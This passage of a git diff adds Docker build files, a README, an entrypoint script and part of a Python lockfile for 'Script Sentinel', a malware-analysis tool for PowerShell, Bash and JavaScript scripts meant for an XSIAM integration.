diff --git a/docker/script-sentinel/.gitignore b/docker/script-sentinel/.gitignore new file mode 100644 index 0000000000000..3eb9e9b1fbce2 --- /dev/null +++ b/docker/script-sentinel/.gitignore @@ -0,0 +1,5 @@ +# Exclude tree-sitter grammar tests +sentinel/grammars/*/bindings/python/tests/ +sentinel/grammars/*/test/ +sentinel/grammars/*/tests/ +requirements.txt diff --git a/docker/script-sentinel/Dockerfile b/docker/script-sentinel/Dockerfile new file mode 100644 index 0000000000000..c6d0786c131d9 --- /dev/null +++ b/docker/script-sentinel/Dockerfile @@ -0,0 +1,49 @@ +# Script Sentinel Docker Image for XSIAM +# Malware analysis for PowerShell, Bash, and JavaScript scripts + +# Use official Demisto Python 3 base image (Alpine-based) +# Check latest version at: https://hub.docker.com/r/demisto/python3/tags +FROM demisto/python3:3.11.9.106968 + +# Metadata +LABEL maintainer="aperetz@paloaltonetwroks.com" +LABEL description="Script Sentinel - Malware analysis for PowerShell, Bash, and JavaScript" +LABEL version="1.0.0" +LABEL com.demisto.image.type="python" +LABEL com.demisto.image.category="malware-analysis" + +# Set working directory +WORKDIR /app + +# Create non-root user (if not already in base image) +# Demisto base images typically already have a user, but we ensure it exists +RUN addgroup -g 1000 -S sentinel 2>/dev/null || true && \ + adduser -u 1000 -S sentinel -G sentinel 2>/dev/null || true + +# Copy requirements first for better caching +# Note: If using poetry, the build script will auto-generate requirements.txt +COPY requirements.txt . + +# Install build dependencies, Python packages, then clean up +# tree-sitter-language-pack requires gcc and build tools to compile C extensions +RUN apk add --no-cache --virtual .build-deps \ + gcc \ + musl-dev \ + python3-dev && \ + pip install --no-cache-dir --upgrade pip && \ + pip install --no-cache-dir -r requirements.txt && \ + apk del .build-deps + +# Copy application code +COPY sentinel/ ./sentinel/ +COPY xsiam_wrapper.py ./ + +# Set Python path +ENV PYTHONPATH=/app:$PYTHONPATH + +# Health check (optional) +HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ + CMD python -c "import sentinel; import xsiam_wrapper" || exit 1 + +# No ENTRYPOINT - let Demisto verification run commands directly +# The XSIAM integration will call xsiam_wrapper.py explicitly \ No newline at end of file diff --git a/docker/script-sentinel/README.md b/docker/script-sentinel/README.md new file mode 100644 index 0000000000000..9110ccf022985 --- /dev/null +++ b/docker/script-sentinel/README.md @@ -0,0 +1,44 @@ +# Script Sentinel Docker Image + +Malware analysis for PowerShell, Bash, and JavaScript scripts with MITRE ATT&CK mapping. + +## Features + +- Static pattern matching for malicious behaviors +- MITRE ATT&CK technique identification +- IOC extraction (IPs, domains, URLs, file paths) +- XDR-compatible output format for XSIAM integration +- Configurable sensitivity levels (3 paranoia levels) +- Optional LLM-powered semantic analysis + +## Base Image + +`demisto/python3:3.11.9.109876` (Alpine-based) + +## Size + +Approximately 450MB compressed + +## Security + +- Non-root user (UID 1000) +- No network access required for analysis +- Minimal dependencies +- Includes verification script + +## Usage + +```bash +docker run --rm demisto/script-sentinel:latest analyze --language javascript --content "your script here" +``` + +## Testing + +- Tested with keylogger detection +- Tested with obfuscation detection +- Tested with various malware samples +- Verification script included (`verify.py`) + +## Related + +This image is used in the Script Sentinel integration in the Cortex XSOAR/XSIAM content repository. diff --git a/docker/script-sentinel/build.conf b/docker/script-sentinel/build.conf new file mode 100644 index 0000000000000..beb72cc430296 --- /dev/null +++ b/docker/script-sentinel/build.conf @@ -0,0 +1 @@ +version=1.0.0 \ No newline at end of file diff --git a/docker/script-sentinel/docker-entrypoint.sh b/docker/script-sentinel/docker-entrypoint.sh new file mode 100644 index 0000000000000..fa5ee6ed5ffc2 --- /dev/null +++ b/docker/script-sentinel/docker-entrypoint.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# Docker entrypoint for Script Sentinel XSIAM integration +# Supports both direct CLI mode and XSIAM wrapper mode + +set -e + +# Check if first argument is 'xsiam-wrapper' +if [ "$1" = "xsiam-wrapper" ]; then + # XSIAM mode: use the wrapper script + shift # Remove 'xsiam-wrapper' from arguments + exec python3 /app/xsiam_wrapper.py "$@" +elif [ "$1" = "analyze" ] || [ "$1" = "--help" ] || [ "$1" = "-h" ]; then + # CLI mode: use sentinel.main directly + exec python3 -m sentinel.main "$@" +else + # For any other command (like 'which', 'python', etc.), execute it directly + # This allows the Demisto build system to run verification commands + exec "$@" +fi \ No newline at end of file diff --git a/docker/script-sentinel/poetry.lock b/docker/script-sentinel/poetry.lock new file mode 100644 index 0000000000000..672ab65729485 --- /dev/null +++ b/docker/script-sentinel/poetry.lock @@ -0,0 +1,1139 @@ +# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. + +[[package]] +name = "annotated-types" +version = "0.7.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, + {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, +] + +[[package]] +name = "cachetools" +version = "5.5.2" +description = "Extensible memoizing collections and decorators" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a"}, + {file = "cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4"}, +] + +[[package]] +name = "certifi" +version = "2025.11.12" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b"}, + {file = "certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"}, + {file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"}, + {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"}, +] + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = 